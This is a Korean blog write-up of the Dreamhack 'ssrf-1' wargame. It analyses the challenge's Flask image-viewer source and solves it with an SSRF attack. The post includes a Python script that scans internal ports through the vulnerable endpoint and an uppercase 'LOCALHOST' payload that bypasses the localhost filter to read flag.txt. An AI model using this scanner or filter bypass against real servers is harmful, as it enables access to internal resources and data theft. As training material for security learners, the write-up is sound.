컴소니/보안

[웹 해킹] Dreamhack web-ssrf(Level 2)

금소니 2023. 8. 16. 16:31
반응형

#263

1. 개요

워게임 명 : ssrf-1

난이도 : Level 2

관련 개념 : Javascript, Python, Html, CSS, SSRF

문제 : SSRF 취약점을 이용하여 Flag 획득

SSRF란?

공격자가 악의적인 스크립트를 삽입하여 서버가 접근할 수 없는 내부 자원을 접근하도록 만드는 공격입니다.

해당 공격이 성공하면 공격자는 내부 정보를 탈취하거나 조작할 수 있습니다.

SSRF 강의에 포함된 워게임입니다.

2. 소스 코드 확인

1) HTML

1-1) base.html

가장 기본 페이지이며, Home, About, Contact 메뉴가 있을 것으로 보입니다.

1-2) index.html

인덱스 페이지이며, 이미지 뷰어 기능에 대한 링크가 삽입되어 있습니다.

1-3) img_viewer.html

이미지 뷰어에 해당되는 페이지입니다.

Input을 받고 있으며, default value는 /static 경로에 dream.png라는 이미지입니다.

submit 버튼이 있습니다.

2) python

2-1) 초기 선언 부분

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"

2-2) app.route("/")

#루트 페이지
@app.route("/")
def index():
    return render_template("index.html")

2-3) app.route("/img_viewer", methods=["GET", "POST"])

#이미지 뷰어 페이지
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    #페이지 반환
    if request.method == "GET":
        return render_template("img_viewer.html")
    #
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        #IP주소 체크(로컬호스트인 경우 에러 이미지 반환)
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        #예외처리
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        #이미지 뷰어 페이지에서 이미지 출력
        return render_template("img_viewer.html", img=img)

2-4) 로컬 웹 서버 생성

local_host = "127.0.0.1"
#무작위 포트 생성
local_port = random.randint(1500, 1800)
#로컬호스트, 무작위 포트로 웹서버 생성
local_server = http.server.HTTPServer(
    #입력한 리소스 반환
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
#포트 출력
print(local_port)

2-5) 로컬 웹 서버 실행

#생성한 웹서버를 실행하는 함수
def run_local_server():
    local_server.serve_forever()

#생성한 웹서버 실행
threading._start_new_thread(run_local_server, ())

2-6) 서비스 실행

#서비스 실행
app.run(host="0.0.0.0", port=8000, threaded=True)

3. 웹 화면 확인

1) 루트 페이지

가장 기본 화면입니다.

취약점을 테스트할 곳은 이미지 뷰어 페이지일 것으로 보입니다.

2) 이미지 뷰어 페이지

이미지 뷰어 페이지입니다.

default로 dream.png라는 이미지를 볼 수 있게 되어있는데 실행해보겠습니다.

실행하면 아래와 같이 이미지를 불러와 출력하는 서비스입니다.

4.  문제 풀이

1) 요구사항 파악

이미지 뷰어를 이용하여 로컬서버의 이미지를 불러올 수 있습니다.

이를 이용하여 flag 값이 저장되어있는 flag.txt 파일을 호출해야 합니다.

하지만 해당 파일을 불러오기 위해서는 로컬 웹 서버를 이용해야 하며, 로컬 웹서버를 접근하는데 사용되는 기본 경로는 코드에서 제한하고 있습니다.

따라서 로컬 웹 서버를 우회하여 접근한 다음 flag.txt 파일을 호출하여 값을 찾는 것이 이번 문제를 푸는 방법입니다.

 

2) flag.txt가 위치하고 있는 경로 입력해보기

문제를 보면 flag.txt는 /app 경로에 위치하고 있다고 합니다.

소스 코드를 분석해보면 따로 경로를 제한하고 있는 코드는 보이지 않습니다.

따라서 /app/flag.txt를 입력해봤는데 이미지가 아니다보니 깨진 이미지 파일로 출력됩니다.

이렇게 쉽게 찾는건가 싶었지만 base64로 디코딩해본 결과 에러를 출력하고 있었습니다.

아마 소스가 올라간 경로가 /app이고 함께 flag.txt파일도 함께 있는 것으로 보입니다.

즉, flag.txt 파일을 출력하려면 flag.txt를 입력해야한다는 뜻인데 이러한 경우에도 예외처리가 되어 값을 얻을 수 없습니다.

 

3) 이미지 호출 관련 자세히 살펴보기

이미지 뷰어와 관련된 소스를 상세하게 보면 URL을 호출하고 base64로 인코딩하여 렌더링 시킵니다.

default로 /static 경로에 있는 dream.png 파일을 이용하면 테스트가 가능한데 이 밖에도 다른 URL을 가진 이미지 주소를 넣을 경우 해당 이미지를 출력합니다.

 

4) 생성된 로컬 웹 서버 활용하기

소스코드에 보면 임의의 포트로 웹 서버를 생성해놓은게 있습니다.

위에서 확인한 내용을 바탕으로 flag 값을 얻기위해서는 생성된 로컬 웹 서버에서 flag.txt 파일 경로에 접근하여 파일을 호출해야할 것 같습니다.

하지만 여기서 문제는 loaclhost와 127.0.0.1은 소스에서 제한되어 있고 포트를 모른다는 두 가지 문제가 있습니다.

이 두개만 해결할 수 있다면 문제를 풀 수 있습니다.

 

5) 포트 번호 찾기

먼저 포트 번호를 찾아보도록 하겠습니다.

포트 번호를 찾는 소스는 강의에서 제공하고 있어 이를 이용하였습니다.

(이런 소스코드는 활용도가 높으니 꼭꼭 저장하시는 것을 권장드립니다.)

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

해당 코드를 서비스 포트와 함께 실행하면 로컬 웹 서버의 포트 번호를 확인할 수 있습니다.

 

6) 우회하여 로컬 웹 서버 접근하여 문제 풀기

이제 포트번호를 확인하였으니 우회하여 로컬 웹 서버에 접근 후 flag.txt가 저장되어 있는 경로를 호출하면됩니다.

localhost, 127.0.0.1은 막혀있지만 대문자를 이용하거나 URL을 인코딩하여 접근할 경우 접근이 가능합니다.

따라서 아래와 같이 입력하면 flag 값을 찾을 수 있습니다.

 

http://LOCALHOST:{포트번호(1591)}/flag.txt

 

그리고 주의하셔야할 점은 여기서 끝이 아닌 확인된 값을 base64로 디코딩해야 한다는 점입니다.

 

그 결과 flag값을 획득할 수 있었습니다.

반응형